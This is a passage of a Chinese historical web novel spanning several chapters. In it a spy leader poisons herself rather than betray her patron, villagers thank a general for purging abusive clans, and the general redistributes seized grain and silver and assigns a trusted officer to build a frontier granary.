雕花木窗紧闭,将凛冽寒风隔绝在外,却隔不开楼内凝滞压抑的空气。 平日里人声鼎沸的一楼大堂空无一人,只有一盏昏黄的孤灯在中央桌台上摇曳,将幢幢黑影投在四壁,恍若无声窥探的幽灵。 楼上雅室之中,两名绝色女子相对而坐。 主位上的女子约莫三十年纪,一袭绛紫罗裙,云鬓微松,斜插一支碧玉簪。 她体态丰腴,肌肤润泽如羊脂,眉眼流转间俱是成熟女子才有的慵懒风情,唇角似笑非笑,仿佛不经意间便能将人的魂魄勾了去。 她正是执掌云州风雪楼多年的舵主,温砚秋。 坐在她对面的女子约莫双十年华,穿着一身素净的白底绣梅长裙,墨玉般的青丝简单绾起,仅以一支银簪固定。 她的容貌极盛,似初夏初绽的白莲,清丽绝伦,较之温砚秋更多了几分不染尘埃的纯净,但那双微微上挑的杏眼里,却藏着与她年龄不符的冷静与沉稳。 他正是本该在飞龙城的王夫人。 红泥小炉上温着的十里香酒咕嘟微响,淳厚的酒香弥漫一室。 温砚秋执起酒壶,素手纤纤,将两只银杯斟满,随后将其中一杯推至王夫人面前,动作优雅得如同舞蹈。 “夫人,咱们姐妹可有些时日没见了,是哪阵风把你吹到云州来了?”温砚秋轻笑,声音柔糯,带着天然的媚意。 王夫人伸出纤长如玉的手指,轻轻握住微烫的酒杯,指尖却有些冰凉:“听闻云州近日风波不断,妹妹心中记挂姐姐,特来探望!” 温砚秋眼底掠过一丝了然的微光,笑容愈发深邃,如同藏着秘密的幽潭:“好妹妹,你我一同长大,在一个被窝里睡过,在一个锅里吃过饭,你几时学会对姐姐撒谎了?” 王夫人迎着她的目光,唇边也绽开一丝浅笑,却带着淡淡的苦涩:“果然什么都瞒不过姐姐!是,妹妹此次前来,确有一事,需向姐姐求证!” 话音落下,雅室内暖融的气氛仿佛瞬间被无形的寒冰冻结。 虽然两人面上依旧带着笑,但空气已然凝滞,姐妹情深的面纱下,尖锐的对峙悄然浮现。 温砚秋不动声色地放下酒杯,瓷杯底与桌面轻轻相碰,发出清脆一响。 她凝视着眼前自己一手带大、视若亲妹的女子,语气带着几分感慨,几分疏离:“看来,我家夫人……是真的长大了!” 她顿了顿,声音轻柔却带着重量:“那么妹妹今日此来,是代表风雪楼,还是仅代表你自己?” “皆有!”王夫人的回答清晰而冷静,她直视温砚秋,目光如炬,“姐姐可知,你此番作为会引来何等后果?” 温砚秋唇角牵起一抹无声的苦笑,带着认命般的慵懒:“我比你早入楼七年,风雪楼的规矩,我比你更清楚!” 王夫人身体微微前倾,压低了声音,语气带着些许迫切:“姐姐!只要你告诉我,背后指使之人是谁,我必拼尽全力向大将军求情,至少……至少可保你一命!” “无人指使!”温砚秋却只是摇头,将杯中温酒一饮而尽,动作决绝:“一切,皆是我心甘情愿!” “即便你不说,我亦能猜到一二……”王夫人眼中泛起一丝泪光,情绪终于激动起来,“可你这般不计代价、不求回报的付出,甚至赌上性命,到头来可能换不到他半分回顾!姐姐,这真的值得吗?” 温砚秋看向她,眼神倏地变得无比柔软,充满了近乎母性的溺爱,一如多年前她第一次看到夫人的时候。 “傻丫头!”她的声音温柔得能滴出水来,“真正的喜欢,就是从不问值不值!” “若喜欢一个人,还要权衡利弊,计较得失,那便不是喜欢,而是买卖!”她自顾自地又斟满一杯酒,眼神飘向窗外沉沉的夜色,仿佛在凝视某个虚无的幻影。 “能遇到一个让自己真心喜欢的人,这本身便是世间极美好的事。为何要用未知的结果和虚无缥缈的未来,去束缚、去玷污这份喜欢呢?” “你为了心中喜欢的他,甘愿未婚守寡,将最好的年华倾注于风雪楼。而我,为了我心中那人,同样可以去做任何事,无论他知晓与否,无论……是否有结果!” “可姐姐你忘了我们加入风雪楼时立下的誓言了吗?忘了我们的使命了吗?”王夫人眼眶通红,声音哽咽。 温砚秋神色骤然一凛,语气变得锐利而坚定:“我在风雪楼十三载,虽不敢说殚精竭虑,但却从未有过半分懈怠!我此次擅自行动,确实触犯了底线,但我所做之事,从未违背当年加入风雪楼的初衷!” “姐姐,你错了!”王夫人痛心疾首地摇头,“大将军运筹帷幄,自有其深意和决断。我等职责,是听从号令,各司其职,而非自作主张!” “是啊……你说得对!”温砚秋长长叹息一声,周身凌厉气势瞬间消散,又恢复了那副慵懒魅惑的模样,仿佛刚才的尖锐只是幻觉,“古往今来,皆以成败论英雄!失败者,自然做什么都是错的!” 就在这时,王夫人瞳孔猛地一缩。 她敏锐地察觉到,温砚秋的脸色在昏黄灯火下透出一种不正常的灰白,那始终含着笑意的饱满红唇,正难以抑制地微微颤抖,边缘甚至沁出一丝诡异的墨色。 “姐姐!” 王夫人霍然起身,快步掠至温砚秋身边,一把抓住她冰凉的手。 温砚秋抬眸看她,惨然一笑,绝美的脸庞上竟是一种解脱般的平静:“从我做出那个决定开始,便已料到今日,大将军派你来,其中深意,我懂……夫人,我始终视你如亲妹,姐姐……不会让你为难的!” 王夫人目光猛地落在她手中那只白玉酒杯上,只见杯沿内侧,正隐隐渗透出几缕不详的墨线: “这酒?你……” 温砚秋笑容依旧,甚至带着一丝顽皮,仿佛恶作剧得逞的少女:“放心,毒……只下在了我这一杯里!姐姐再怎么糊涂,也不会害我的妹妹!” “姐姐!你何至于此!你为风雪楼立下过汗马功劳,只要你说出来,大将军未必不会网开一面!”王夫人泪如雨下,用力攥紧她的手,仿佛想将自己的生命力传递过去。 温砚秋轻轻摇头,气息已开始微弱,眼神却异常清明:“傻妹妹,大将军身边能人众多,为何偏偏派你来?你……还不明白吗?” 王夫人心神剧震,瞬间领悟了那残酷的暗示。 正因她们情同姐妹,派她来,既是试探,也是最后的成全。 她身体一晃,几乎难以站稳。 第一卷 第271章 你永远也赢不了他! 就在此时,温砚秋将目光看向门口,说道:“贵客登门,何不进来一叙?” 只见一道挺拔身影迈步走了进来,摇曳的烛火将那张侧脸照得棱角分明。 来人不是别人,正是凌川! 凌川离开刺史府的时候,天色已经黒尽,路过风雪楼之时,往日门庭若市的风雪楼,此刻一片冷清,唯有二楼雅间两者昏暗烛火,他便让苍蝇和孟钊在下面等着,自己独自上楼。 其实,昨日得知丙字库中被盗走的弓弩并未出城的时候,凌川心中便有的计较,因为,放眼云州城,有能力将手伸进军营成功盗走弓弩的势力本就屈指可数。 而且,从丢失弓弩的数量来看,对方必然在城中安排了三百人手,能做到这一点的除了刺史府,便只有风雪楼了。 刺史府的杨恪,自然不可能这么做,那便只能是风雪楼。 要是平时,风雪楼想要在自己的眼皮底下安插这么多杀手进城而不被察觉也不可能,但前不久,自己为了筹建酿造司和织造坊,所需的大量人手都是风雪楼帮忙找的。 那些杀手完全可以乔装成民夫进城,也正是因为这个原因,凌川才让苏璃这两日不要去建造现场。 与此同时,凌川也终于想通,为何之前温砚秋跟自己谈合作的时候,自己提出只给半成利润,她竟然连想都没想就答应下来。 原来,在那个时候,她便已经察觉到自己要对云州的世家门阀动手,而且,针对自己开始布局了。 这才有了今早青柳巷的那场刺杀。 当时,虽然凌川想通这一切,但为了引蛇出洞,便没有惊动风雪楼,现在,一切尘埃落定,他自然要去风雪楼走一趟。 见风雪楼如此冷清,一改常态,凌川也有些好奇,感觉对方是在等他,便走了进去。 他来到二楼雅室门口,便听到另一个熟悉的声音,没想到王夫人竟然会出现在这里,看来,自己之前的猜测是对的,王夫人确实是风雪楼的人,那么,风雪楼背后之人的身份,也就呼之欲出了。 放眼整个北疆,有能力建起一个遍布帝国的庞大组织,除了大将军卢恽筹之外,实在找不出第二个人。 凌川在门口听了一会,正当他犹豫要不要进去的时候,温砚秋却发现了他,既然都点名了,他也不好继续躲着,便走了进去。 方才在门外,凌川已将二人的谈话听了个大概,此时,见到温砚秋生机渐逝,心中的怒火也消了许多,对于那个答案,也没那么在乎了。 凌川的目光扫过悲痛欲绝的王夫人,最终落在温砚秋脸上,声音平静无波:“温掌柜真是好手段,连我都险些栽在你手里了!” 温砚秋吃力地弯起嘴角,露出一抹复杂至极的笑,混合着凄然、释然与一丝不甘:“凌将军……谬赞!终究……还是输给你了……” 她喘息片刻,积攒起最后一丝力气,目光死死盯住凌川,断断续续的语气中透着笃定:“你赢了我…但……你赢不了他!永远……也赢不了……” 对于这个近乎诅咒的断言,凌川没有回答,只是沉默地看着她。 只见温砚秋呼吸愈发艰难急促,目光渐渐涣散,那抹光彩正在急速消逝。 王夫人紧紧抱住她逐渐冰冷的身躯,泪水无声滑落,一滴滴砸在温砚秋那逐渐失去血色的脸颊上,晕开些许残妆,更显凄艳。 凌川沉默地注视着这一幕,看着这位风情万种、执掌云州风雪楼多年的传奇女子,走向自我选择的终局,心中没有怒火,只有一丝难以名状的悲悯。 窗外,晚风呜咽,宛如一曲缱绻又绝望的挽歌。 “将军请回吧!”王夫人抬起泪痕斑驳的脸,声音颤抖得几乎不成调,“等我料理完姐姐的后事,定会亲自登门,给将军一个交代!” 离开风雪楼,踏入冰冷夜气之中,凌川只感觉胸口仿佛压着一块巨石,心情异常沉重,温砚秋临死前的悲伤与决绝,萦绕于脑海中挥之不去。 等候在外的苍蝇与孟钊二人敏锐地察觉到了将军脸色沉郁,周身气压低沉,互相对视一眼,皆从对方眼中看到了担忧与疑惑。 但二人皆默契地没有出声询问,只是默默牵过马,护卫在凌川身后,一行人沉默地徒步返回了将军府。 次日,天色刚亮,云州辖下各县的城门口、市集喧闹处,便贴满了盖着官府朱红大印的榜文。 榜文之上,密密麻麻罗列着昨日被连根拔起的那些世家门阀所犯下的累累罪行,桩桩件件,骇人听闻。 事实上,官府甚至无需刻意深入调查,只需到市井民间走一遭,便能将这些盘踞地方、为祸多年的蠹虫之罪状搜集几大箩筐。 甚至于,其中很多令人发指的恶行,官府早有耳闻,案牍之中甚至记录得比民间流传更为详细、更为残酷。 消息传出,云州各县先是死一般的寂静,仿佛不敢相信盘踞头顶百年乌云真的散去。 随即,震天欢呼声如同积蓄已久的春雷,猛然炸响,轰传整个云州!许多地方的百姓甚至自发地敲锣打鼓,焚香祭祖,如同庆祝盛大的节日。 紧接着,无数百姓从四面八方涌来,如同汇聚的溪流,跪倒在县衙门前、军营之外,叩拜之声不绝于耳,感激青天大老爷为民做主。 将军府内,凌川刚与翠花、小北完成晨练,额角尚带汗珠。 就在这时,苍蝇快步跑了进来,神色激动,声音都拔高了几分:“将军!门外来了好多百姓,说是特来叩谢将军为民除害,铲除了孙家那群天杀的恶霸!” 凌川闻言,神色微微一怔,显然未料到百姓反应如此迅速热烈。他正要举步,苏璃已端着一盆温热的水走来,柔声道:“相公,且先洗把脸,擦擦汗再出去见人吧!” 凌川就着铜盆温水净面,苏璃拿起柔软的布巾,细致地为他擦干额角、脸颊的水渍,又为他整理了一下微皱的衣襟领口,端详着他英挺的眉眼,轻声道:“我家相公,今日格外俊朗精神,快去吧,莫让乡亲们等急了!” 第一卷 第272章 万民谢恩! 来到门外,只见一群衣着朴素的百姓把将军府门外的街道堵得水泄不通,足有上百人。 见凌川出来,所有百姓齐齐下跪,凌川见状,连忙让他们起身,“乡亲们快快免礼!” 为首一名须发皆白的老者杵着拐杖,激动说道:“草民代全村老小叩谢将军大恩,感谢将军为民除害,惩办了孙家那群奸恶!” 衣着破烂的老者说完就要下跪,凌川连忙将他扶住,“老人家使不得,凌川受不起!” “将军您有所不知啊!”一名中年瘸腿汉子挤上前来,满脸愤懑地指着自己的腿说道:“三年前,孙家看中了我们村的好田,硬说那是他家的祖产,强占了去!乡亲们无地可种,只能找孙家理论,结果好些人被他们棍棒打死!我这条腿,就是被孙家那帮恶奴给活活打折的!” “将军啊……”一名妇人扑跪在地,声音凄厉,双手颤抖着比划,“我那苦命的闺女才十四岁,去年在河边洗衣,就被孙家的恶少瞧见了……他们光天化日之下就把人掳走!直到半年后,她的尸体出现在城西乱葬岗,浑身上下没一块好肉,全是伤啊……”她泣不成声,重重磕头:“如今将军替她报了大仇,她九泉之下也能瞑目了……” 又一个脸带伤疤的农家汉子颤巍巍道:“将军,孙家放印子钱,利滚利啊!我当初只借了五斗米给老娘治病,不到一年,竟滚成了十石!还不上,他们就把我唯一的女儿抓去抵债,到现在……生死不知啊!”他说着热泪滚滚纵横,就要跪下。 一个书生模样的年轻人也愤然道:“孙家子弟去年在县试中公然舞弊,夺了我寒窗十年的功名!我前去理论,反被他们诬陷偷窃,打入大牢三月,功名尽毁……” 百姓们越说越激动,纷纷诉说着自家的血泪遭遇。 每一桩每一件,都浸透着孙家多年来欺压百姓、草菅人命的斑斑罪证。 哭声、骂声、诉苦声交织在一起,汇聚成一股悲愤的洪流,冲刷着将军府门前的石阶。 凌川站在百姓中间,听着这一声声泣血的控诉,脸色愈发沉凝。 尽管孙家已然覆灭,可听着这些被践踏的人生、被碾碎的希望,他胸中的怒火依旧难以抑制地翻腾,灼烧着他的五脏六腑。 他深吸一口气,将那怒火压成沉甸甸的责任,声音不高,却似金铁交鸣,清晰地传入每一双期盼的耳朵: “乡亲们,快快请起!云州军不仅是帝国的边军,更是咱们百姓自己的军队!军中儿郎,都来自你们这样的百姓家庭,我们不仅要外御强敌,更要内除奸恶!守护万家灯火,本就是我辈职责所在!” 这番话,如同暖流冲开冰封,让一众百姓惊愕又激动,他们何曾听过‘百姓军队’这等说法?感激与难以置信的情绪交织,化作更汹涌的泪水。 凌川目光扫过众人,继续说道:“如今,为祸云州的豪强皆已铲除!接下来,官府会统计田亩,为大家分发田地、粮种,助各位重建家园!” “将军,您……您说的是真的吗?我们这些平头百姓,真真能分到自己的田地?”有人颤声问道,怀疑自己身在梦中。 凌川重重点头,语气斩钉截铁:“自然是真的!官府已在着手办理,大家回去后,可将此话广为传达!若一个月内,有谁未曾分得田地,可直接来云州将军府,我凌川亲自为你等做主!” 这铿锵有力的保证,如同惊雷炸响在人群之中。 短暂的死寂后,是近乎疯狂的狂喜!一众百姓再次齐刷刷地跪倒磕头,许多人用颤抖的手抚摸著脚下的土地,仿佛已经看到了金色的稻浪。 看到这一幕,凌川内心生出一股强烈的成就感,让他觉得,自己所做这一切都是值得的,尽管往后的路更为艰难,但信心却愈发坚定。 这样的场景,在云州大地上争相上演。 这一日,在整个云州境内,无论是云州城内的将军府、刺史府,还是下辖各县的县衙、军营门外,都聚集了无数听闻消息赶来的百姓,万人空巷,群情激昂。 所幸,杨恪早已预见到此情此景,提前将政令通达各县。 借此万民聚焦之机,正好将分发田亩、安抚百姓的政策广而告之。 并明确告知,若有不公,可直接越级上告至云州刺史府!此举既是安民告示,更是悬在各县官吏头上的一把利剑,使得他们在此风口浪尖,不敢轻易舞弊营私、中饱私囊。 当然,这仅是权宜之计,无法根除积弊。欲长治久安,必有严律峻法跟进,必要时,更需以雷霆手段,杀鸡儆猴,以儆效尤。 …… 北疆节度府。 静室之内,酒香浓郁,烟雾袅袅。 卢恽筹与叶世珍二人于棋盘两侧对坐,黑白子错落其间,针锋相对。 陆含章则斜倚在一旁的酸枝木椅上,翘著二郎腿,眯着眼,有一口没一口地吧嗒着旱烟,灰白色的烟雾缓缓升腾。 “啪嗒!” 卢恽筹缓缓落下一枚白子,声音清脆,他并未抬头,仿佛随口问道:“云州那边,局势如何了?” 见大将军发问,叶世珍收回正欲入盘的那枚黑子,回答道:“二十六家本地门阀,已尽数连根拔起。如今整个云州,可谓万户欢腾,锣鼓喧天,甚至有人焚香祭天,感念恩德!” “呵……”卢恽筹脸上看不出丝毫情绪,只淡淡道:“没想到,真让那小子给办成了!” “biu……” 旁边传来慢条斯理的吞吐声,陆含章突出一口烟雾,开口说道:“眼下是快刀斩乱麻,痛快是痛快了。可这后续的麻烦,才刚开始啊!” 他这位名义上的云州主将滞留节度府迟迟未归,一则是意欲彻底放手,看看凌川与杨恪这对组合,究竟能在云州这块地上掀起多大的风浪。 再则,他在云州经营多年,与地方世家盘根错节,多少有些香火情分。若他坐镇云州,那些故旧求上门来,他不免为难,凌川更是束手束脚,难以施展。 第一卷 第273章 一子入盘风云变! 陆含章又吧嗒了两口旱烟,烟雾后的眼神却锐利了几分:“如今的云州,就像暗夜中突然点亮的火把,光芒是耀眼,可也照得自身纤毫毕现。不仅北境,举国上下的世家豪门,此刻恐怕都屏息凝神地盯着这里。他此举确实是开了千古未有之先河,气魄惊人。但也正因为如此,他彻底断了自己的所有退路,将自己逼到了万丈悬崖边缘!” 卢恽筹微微颔首,指尖的白子轻轻敲击著棋盘边缘:“老哥一语中的!他这是以一州之地,向天下延续了千百年的规则发起挑战。成功,则海晏河清,万民称颂;可一旦行差踏错,便是粉身碎骨,万劫不复之局!” 他顿了顿,目光转向一直沉默观棋的叶世珍,后者感受到目光,抬眸儒雅一笑:“大将军看我作甚?” 卢恽筹意味深长地问道:“你青州叶氏乃中原顶级门阀,绵延数百年,枝繁叶茂,底蕴深厚。北境这些所谓豪强,在你叶氏眼中,如同沐猴而冠的暴发户。眼见凌川在云州犁庭扫穴,你就真能安坐如山,毫无感触?” 叶世珍闻言,脸上依旧挂着那抹令人如沐春风的浅笑,他优雅地执起茶盏,轻呷一口,方才不疾不徐地回应:“大将军说笑了!我青州叶氏确传承数百载,然家族祖训,向来以‘诗书传家,道德育人’为根本。族中子弟,首重品性修养,所求不过耕读传家,诗礼继世,焉能与那些恃强凌弱、为祸乡里的豪强恶霸等同视之?凌将军在云州铲除的是毒瘤,肃清的是污秽,我叶氏唯有钦佩,何来危机之感?” 卢恽筹听罢,唇角勾起一丝难以察觉的弧度,不再多言,只是将目光重新投回棋盘,伸手做了一个请的手势:“该你落子了!” 叶世珍含笑点头,从容地将手中一直把玩的那枚黑子,稳稳地落入棋枰之上,发出清脆一响。 棋局之上,杀机乍现;棋局之外,暗流已然涌动。 往后十日,云州全境如同一架骤然加速的庞大机器,各个关节都高速运转起来。 各县衙署灯火彻夜通明,官吏们忙得脚不沾地,即便如此,面对丈量田亩、登记造册、分发粮种等千头万绪的繁杂事宜,人手依旧捉襟见肘。 凌川不得不下令从留守各处大营的军中抽调部分识文断字、办事稳妥的士卒,分派至各县,协助官府处理各项善后工作。 与此同时,此次雷霆清洗所查抄出的巨额钱粮物资,其总数目陆续汇总至州府时,饶是早有心理准备的凌川与杨恪,都不禁为之骇然,相顾失色。 那堆积如山的粮草,登记造册后汇总,竟高达惊人的六百余万石!若全部充作军粮,足以支撑四十万北系边军一年有余的用度。 这个数字,赤裸裸地揭示了这些盘踞地方的巨蠹对云州百姓敲骨吸髓般的压榨,其酷烈程度,远超他们最坏的预估。 然而,现实并非简单的数字游戏,凌川与杨恪皆深知,这些粮食背后是无数依附世家生存的佃户、雇农。 如今靠山顷刻崩塌,虽承诺分田,但远水难解近渴,若没有官府持续赈济,无数百姓根本无力撑到秋收,这些粮食,亦是他们的救命粮。 此外,从这些家族之中查抄的现银便多达五百余万两,若是将金银珠宝、珍玩玉器折合成现银,数量更为惊人。 刺史府与将军府那原本宽敞的库房被一口口沉甸甸的箱箧塞得满满当当,几乎无从下脚。 面对这笔横财,凌川与杨恪并未被冲昏头脑,二人于书房中商议良久,均觉此事干系太大,若云州将如此巨利尽数吞下,难免招致四方红眼,授人以柄。 最终议定划出一部分,上呈节度府,既是表态,亦是分担压力。 次日,凌川便命江来押送一百万两白银及一百万石粮草,前往漠北大营,当面交付给总参军叶世珍。 剩余钱粮,则按照之前商议的方式进行分配。 银钱方面,凌川提三成充作军费,用于发放军饷、犒赏将士、修缮武备;两成纳入刺史府库,专款用于平日赈济与突发灾荒;三成用于兴修水利、道路,打制农具,深耕云州根基;最后两成,则兑换为铜钱细软,直接分发给最困苦的百姓,略解倒悬之急。 粮食方面,凌川提三成充实军粮储备;刺史府抽三成储存于各县义仓,以备不时之需;剩余四成,则悉数分发给户籍百姓,助他们度过青黄不接之期。 此番雷霆手段,不仅清扫了目标世家,更深深震慑了其余侥幸存留的家族。 不等官府催促,他们便纷纷主动甚至超额地缴纳了之前承诺的钱粮,并将名下大量田产主动清丈,交予官府统一分发,姿态谦卑无比,与前判若两人。 显然,前不久的雷霆行动已经起到了震慑作用,那些世家门阀只要不傻,都知道破财免灾这个道理。 看似一夜之间,府库充盈,暴富至此。但凌川与杨恪心如明镜,此举无异于将云州积累了数十年的‘底蕴’一次性掘出。 以往每逢战事或灾年,刺史府虽艰难,却总能从这些世家手中‘劝’出钱粮应急,往后这条路算是彻底断了,一切开支都需仰仗此次所得,以及官府自身的经营。 然凌川并不视此为杀鸡取卵,而是壮士断腕,刮骨疗毒。 唯有根除毒瘤,让利于民,使百姓家家有恒产,户户有余粮,云州的根基才能真正雄厚起来,而非建立在沙土之上。 同样,此举也带来一些现实的困难。例如凌川筹建的酿造司,原本计划就地收购粮食酿酒,如今云州境内粮源几乎尽归官仓,市面已难购得大批粮食。酿酒所需原粮,恐需设法从外州购入。至于库中军粮,凌川严令,任何人不得妄动分毫。 这十余日,杨恪几乎是废寝忘食,奔波于各县城之间,亲自督导抚民事宜。而凌川则坐镇将军府,逐步收拢散出的兵力,恢复训练。 第一卷 第274章 象甲! 与此同时,军械司、酿造司、织造坊三大工坊也逐一步入正轨。 只是先前与风雪楼谈妥的销路因变故戛然而止,目前狼血酒和布匹只能暂时依靠在云岚县时建立的旧有渠道进行销售,规模受限不少。 这日,杨铁匠亲自带着庾朔,将两副新打制的铠甲送至将军府,轻甲重甲各一副。皆采用新推广的铸造法制成,甲片规格统一,边缘打磨光滑,在阳光下泛着冷冽的金属光泽。 凌川亲自测试,以刀劈、枪刺、箭射测试,结果令人振奋。 新甲硬度相较传统锻造甲片竟毫不逊色,完全达标。 更因甲片制式统一,整体线条流畅而贴身,凌川还将原本繁琐的皮绳束带改良为了精巧的卡扣,不仅可根据士兵体型灵活调节,穿戴速度更是提升了数倍。 别小看这节省下来的一点时间,在瞬息万变的战场上,往往便能决定生死胜负。 凌川对此极为满意,当即下令,让其余六处大营的军械司立即挑选手艺最精湛的工匠,火速前来云州大营,由杨铁匠亲自传授这套新铸造法。 首要任务,便是为云州军尽快换装,以往打造一副铠甲耗时漫长,远超刀剑,铸造法的推广无疑将效率提升了数倍。 更难得的是,庾朔这小子头脑极为灵光,竟懂得举一反三,尝试将肩吞、腹吞、眉翅、兜鍪、臂鞲等复杂部件也进行开模铸造。 他拍着胸脯,信誓旦旦地向凌川保证,定要倾尽所能打造一副举世无双的将军甲。 而且,庾朔非常会来事,一有空就蹲在杨铁匠那灼热的铁炉跟前,不是呼哧呼哧地帮忙拉风箱,就是吭哧吭哧地抡大锤,还总不忘随身带上一包喷香的花生米给杨铁匠下酒。 这般殷勤灵巧,深得杨铁匠喜爱,几乎将毕生手艺倾囊相授。 不过,对于破甲弓与匣子弩这两种结构精巧、要求严苛的精密军械,凌川仍严令其制造仅限于云州大营军械司内,必须由墨巡这位墨家巨匠亲自监督每一道工序。 一来便于集中管理,严防关键技术外泄;二来,若无墨巡亲自把关细节,凌川实在担心其性能与可靠性会大打折扣。 “将军,您就瞧好吧!回头等我把您的将军甲做好了,一定亲自给您送到府上来!”庾朔一边小心翼翼地收拾那两副样品铠甲,一边兴奋地说道。 “好,我拭目以待!”凌川拍了拍他结实的肩膀,郑重叮嘱,“甲胄虽紧缺,但每一块甲片都关乎将士们的生死,质量乃第一要务,决不能有丝毫马虎,以次充好!” “将军放心!我心里有数!”庾朔拍着胸脯保证,“每一块甲片出炉,我都亲自过目,精挑细选,但凡有一点瑕疵立马回炉重铸,绝不含糊!” 就在这时,凌川想起一事,对庾朔交代道:“对了!军中若有体型异于常人的兄弟,比如特别高大魁梧或矮小精悍者,铠甲也需量体定制,务必合身!” 庾朔笑道:“将军放心,大牛的‘蛮牛甲’已经在制作当中,那分量,那厚度,兄弟们看了都咂舌,哈哈哈……” 正说笑着,翠花牵着小北从院门外走了进来。 “哇!好威武的铠甲!”小北一眼就被那亮闪闪铠甲吸引,挣脱翠花的手跑过来,仰着小脸,大眼睛里满是渴望,“叔叔,我也想要一副!” 凌川笑着揉了揉他的脑袋:“你现在正是抽条长个儿的时候,做一副铠甲,没几天就穿不了了,岂不浪费……” 然而,凌川话还没说完,庾朔却豪爽地摆手笑道:“没事没事!小北想要,叔叔就给你做一副小号的!等你长高了,叔叔再给你改大,包你一直能穿!” 小北经常跟着凌川进军营,看将士们操练,也总爱去杨铁匠那叮当作响的铺子里玩耍,一来二去跟军械司上下都混得极熟。 大家对这个虎头虎脑、嘴还特别甜的小家伙也是发自内心的喜爱。 “谢谢庾朔叔叔!”小北高兴地连连道谢,蹦跳起来。 一旁的翠花见状,脸上也露出几分羞涩和期盼,搓着衣角小声道:“将军,俺……俺也想要一副铠甲!” 庾朔:“……” 他脸上的笑容瞬间凝固,一脸古怪地看了看身材壮硕如山的翠花,又艰难地扭头看向一旁的杨铁匠,咽了口唾沫,小声问道:“师,师傅,您老以前,有打象甲的经验没?” 杨铁匠没好气地白了他一眼,懒得搭理。 二人离开后不久,亲卫苍蝇又领着一道风尘仆仆的身影走了进来,语气带着熟稔的欢快:“将军,您快看,谁来了!” “将军!” 来人激动地大喊一声,快步穿过庭院,朝着凌川奔来,他虽带着旅途的疲惫,但一双眼睛却格外明亮有神。 凌川见来人正是阔别数月的余生,脸上顿时露出真切的笑意,迎上前轻轻一拳锤在他坚实的肩膀上:“好小子!几个月不见,壮实了不少嘛!” 相比当初在狼烽口那个还有些瘦弱的少年郎,如今的余生确实壮硕了许多,胸膛厚实,胳膊粗了一圈,整个人由内而外散发着一股经过严格磨砺的阳刚之气。 “兄弟们都还好吗?”凌川亲切地问道,引着他往屋里走。 “好着呢!就是整天除了训练还是训练,没仗打,一个个精力过剩,都快闲出鸟来了,整天磨皮擦痒的!”余生笑道,语气中带着边军特有的直爽和对外征战的渴望。 凌川很清楚,边军并非好战,而是渴望建功立业,博个封妻荫子。 他们深知身处边关,战事不可避免,故而才如此拼命训练,只为在沙场上多一分生机,多一分胜算。 上次大战,云州军主力尽出,唯有狼烽口及关内少数留守部队未得参战,看着同袍们立功受赏,难免心有不甘。 “放心吧!”凌川给他打气,“仗有的打,立功的机会多着呢!先把本事练扎实了!” 招呼余生坐下后,凌川亲自提起茶壶给他倒了一碗凉茶,余生显然是渴极了,道谢后接过碗,仰头‘咕咚咕咚’一口气喝得底朝天。 第一卷 第275章 委以重任! “慢点喝,你这是被人撵着来的吗?”凌川打趣道。 余生放下茶碗,嘿嘿一笑,抹了把嘴边的水渍:“将军您有所不知,您的调令刚到狼烽口,兄弟们就炸锅了,一个个羡慕得眼睛发红,争着抢着让我把他们都捎上!” “这次特意把你调过来,是有重要安排!”凌川神色稍正。 听闻此言,余生立刻放下茶碗,唰地起身站得笔直,抱拳道:“请将军吩咐!” “无需这么拘谨,坐下说!”凌川示意他放松,“此次肃清云州门阀之前,军中先行整顿,清理了一批蠹虫,空出来好几个校尉的位置。我思来想去,决定派你去高平县,担任守军校尉一职!” 余生神色顿时一怔。 半年前那场守城战,狼烽口五百兵卒损失惨重,事后节度府补充了大量新兵,他也因战功和表现被提拔为标长。 凌川当初带兵离开狼烽口时,余生就一心想要跟随,凌川当时承诺让他在狼烽口先协助耿良训练新兵,日后必会调他过来。 这几个月,他日夜盼望着这道调令,本以为终于能像在狼烽口时那样追随在凌川左右,做一名亲卫悍卒,却不曾想,竟是让他独自去担任一县军事主官。 凌川敏锐捕捉到了他眼底一闪而过的失落,语重心长地说道:“余生,你若真想跟在我身边,自然可以。但我更希望你能成为一员能独当一面的将领,而非永远冲杀在前的一员勇卒。你的沉稳和潜力,我看在眼里!” 余生也是聪慧之人,立刻听懂了凌川话中的深意与期望,他知道将军如今正是用人之际,自己应当竭尽全力为他分忧,镇守一方。 “属下领命!”余生深吸一口气,压下心中的波澜,眼神重新变得坚定,郑重回答道。 “高平县地处边陲,往北便是广袤的塔拉草原,虽不及狼烽口那般险要,但也是屏护云州侧翼的重要支撑点。把这个地方交给别人,我实在不放心!”凌川补充道,语气中充满了托付的意味。 “将军,我……”余生看着他,心情激荡,一时不知该说什么。 “相信自己!”凌川的目光沉静而充满信任,“你远比你自己想象中要出色得多,耿良多次来信,都夸你练兵有方,处事沉稳,有大将之风!” 这份毫无保留的信任让余生内心热血奔涌,同时也感到肩上瞬间多了一份沉甸甸的责任,让他脊梁更挺直了几分。 “将军放心!余生定竭尽全力,绝不辜负您的信任!”他再次抱拳,声音铿锵有力。 凌川走到一旁的云州边境沙盘前,拿起竹条指向高平县的位置:“高平县现有驻军一千五百人,如今半数兵力都在松阳县大营参加轮训。你到任之后,首要任务是整肃军纪,提振士气,并依据最新布防方略重新调整各处哨卡、烽燧。我已经根据当地地形,初步拟定了一份布防图,你带去可作为参考!” 紧接着,凌川的手指又移向高平县城外不远处的一片开阔地:“此外,这里原本有一座粮仓,但早已年久失修,几近废弃。你到任之后,立即组织人手,将其推倒重建,新粮仓的规模,至少要达到原有的三倍以上!” 自接手云州军务以来,凌川花了大量时间,将云州的整体兵力布局、粮草补给线、要塞分布等全都梳理了一遍。 高平县的地理位置,无疑是作为屯粮基地的绝佳选择,之前那座粮仓空置多年,别说存粮,连老鼠都饿跑了。 奈何前任校尉背景盘根错节,凌川一时也难以动他,直至此次雷霆行动,才顺势将名单上的诸多军官一举拿下。 按照凌川的构想,未来将在高平县这座新建的大型粮仓中囤积大量军粮。一旦边境烽烟再起,云州军便可轻装疾进,直扑战场,无需为沉重的粮草辎重所拖累,后勤补给线将大大缩短。 为此,凌川还特意交代,除了核心粮仓,周边还要配套修建坚固的军械库和足以容纳至少两万军队驻扎的营盘,形成一個集屯粮、屯兵、后勤支援于一体的战略要地。 听到这里,余生终于彻底明白,将军将如此重要的战略任务交给自己,是何等重大的责任和绝对的信任。 “将军放心,我一定竭尽所能,将此事办妥!”余生重重点头,将沙盘上的地形牢牢刻在脑海里。 凌川笑着拍了拍他的肩膀:“我知道你一定可以!今日你就在府中住下,晚上咱们好好喝几杯,也算为你饯行!” 